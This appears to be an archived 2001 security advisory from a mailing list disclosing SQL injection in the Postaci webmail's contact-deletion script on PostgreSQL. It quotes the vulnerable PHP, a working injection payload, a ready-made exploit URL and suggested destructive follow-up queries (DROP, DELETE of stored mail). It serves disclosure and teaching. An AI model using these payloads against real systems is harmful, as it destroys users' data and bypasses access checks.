Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
From: Berk Demir (berkLINUX.ORG.TR)
Date: Wed Jan 17 2001 - 13:49:44 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Popular webmail software Postaci (ships with Debian) lacks of checking
    for malicious SQL code in variables coming from user while deleting
    addressbook contacts, bookmarks and notes.
    This gives opportunity to malicious user to execute arbitrary
    SQL query.

    The problem affects Postaci if using PostgreSQL as your database
    backend. MySQL seems to bo not affected by this way.
    PHP's mysql_query() function code does NOT allow query strings
    including a semicolon inside, for passing multi queries.
    The method illustrated here uses query seperating with a
    semicolon, but someone can find a suitable malicious SQL code
    to also exploit Postaci while using MySQL as the db backend.

    The main problem is not just with Postaci, it's with the general manner
    of PHP coding exercises. Both in POST and GET methods, PHP sets the
    remote variable name to a global variable with the same name in the
    executing PHP script (defined in the "action" field of HTML form).

    If you have a <input type="text" name="foo"> line in your HTML form;
    after submission, you'll be available to reach its set value
    with the variable named "$foo" in your PHP script.

    Trusting the user input in this era is just the big problem.
    For example :
    While expecting an integer type content for $foo, user can input
    a malicious string that can cause compromise of your SQL query.

    Let's focus to Postaci code.

    --- deletecontact.php ---

    1 // security check
    2 $dbq = $db->execute("select user_id from tblAdressbook where
    3 $auth_user = $dbq->fields['user_id'];
    4 if ($auth_user != $user_id) {
    5 Header("Location: index.php?error_id=1");
    6 }
    7 $dbq->close();

    --- deletecontact.php ---

    In the relatively numbered line 1, we see a magical comment :
    "// security check".
    This security check is really needed but not enough unfortunately.
    Lines 2,3,4,5 ensures that, anyone who is not the owner of the
    contact item, can not delete it.
    Up to here, everything is O.K. but the implicit trust to user input.
    As seen from the code snippet, variable $item_id is never checked. It
    must be an integer naturally bu as we discussed above, it's a user
    input and it can be everything.
    Suppose that variable "$item_id" includes the string
    "144 OR TRUE; select user_id from tblAdressbook where item_id=144"

    144 is a real contact item id associated with the current logged in user.

    The SQL Query :

    "select user_id from tblAdressbook where item_id=144 OR TRUE; \
     select user_id from tblAdressbook where item_id=144"
    ... will return all the user_id's also ours at the top row of the result.
    At line 3, "$dbq->fields['user_id']" just points to the "user_id" column
    of first row of the returned result.
          So we managed to pass the first security barrier.

    Let's look at the code comes after :

    --- deletecontact.php ---

    8 if ($log_id == ""){
    9 Header("Location: index.php?error_id=1");
    10 } else {
    12 $dbq = $db->execute("delete from tblAdressbook where item_id=\
    13 $item_id and user_id = $user_id");
    14 $dbq->close();
    16 Header("Location: adressbook.php");
    17 }

    --- deletecontact.php ---

    At line 12, Postaci still trusts the user input and puts it into the
    deleting query. Flashback to our malicious $item_id variable :
       "144 OR TRUE; select user_id from tblAdressbook where item_id=144"

    Then the composed query becomes :

    "delete from tblAdressbook where item_id=144 OR TRUE; select user_id \
     from tblAdressbook where item_id=144 and user_id = [your user id]"

    In here. PHP code of mysql_query won't let you pass a query string
    including a semicolon but this doesn't apply for Postgresql
    (and maybe for MS SQL, Sybase, msql).

    When we focus to the first query in the query string,
    we can clearly see that, it will delete all the records in the table.
    Voila ! We're done.

    For the {lamer | impatient | lazy |etc...}

    http://a.postaci.running.host/deletecontact.php?item_id=[legitimate_item _id]+OR+TRUE+;+SELECT+item_id+FROM+tblAdressbook+WHERE+item_id=[some id] --

    IMPORTANT !: Here we used "SELECT item_id from tblAdressbook WHERE item_id=[some id]" as the second query. Of course it can be more dangerous. It can be "DROP [some data base]" if the current SQL user have rights to do so. Or it can simply delete something "DELETE from tblMessages" will delete all the saved incoming mail messages and it can be really painful. Or it can add any records to any table (owned by postaci db user). Variations can be incremented...

    Closing words : -------------- Thanks to Umut Gokbayrak for creating such a good webmail interface for us (Turkish OpenSource Community). I'm sure he'll make a patch available for this issue A.S.A.P.

    Thanks to Selami Aksoy for letting me to use his production machines for testing (installing new packages, testing PHP codes, screwing up the total system :))

    About Postaci : --------------- Postaci (Turkish word for Postman) is a multiplatform GPL' ed webmail software which is database independent (MySQL, mSQL,PostgreSQL, Sybase, MS SQL), multilanguage(Turkish, English...), POP3/IMAP and fully MIME compatible. While using POP3 mode to fetch messages it uses database fields to simulate IMAP folders, on which you can save, move, delete,read e-mail.


    Berk Demir Association of Turkish Linux Users L K D http://www.linux.org.tr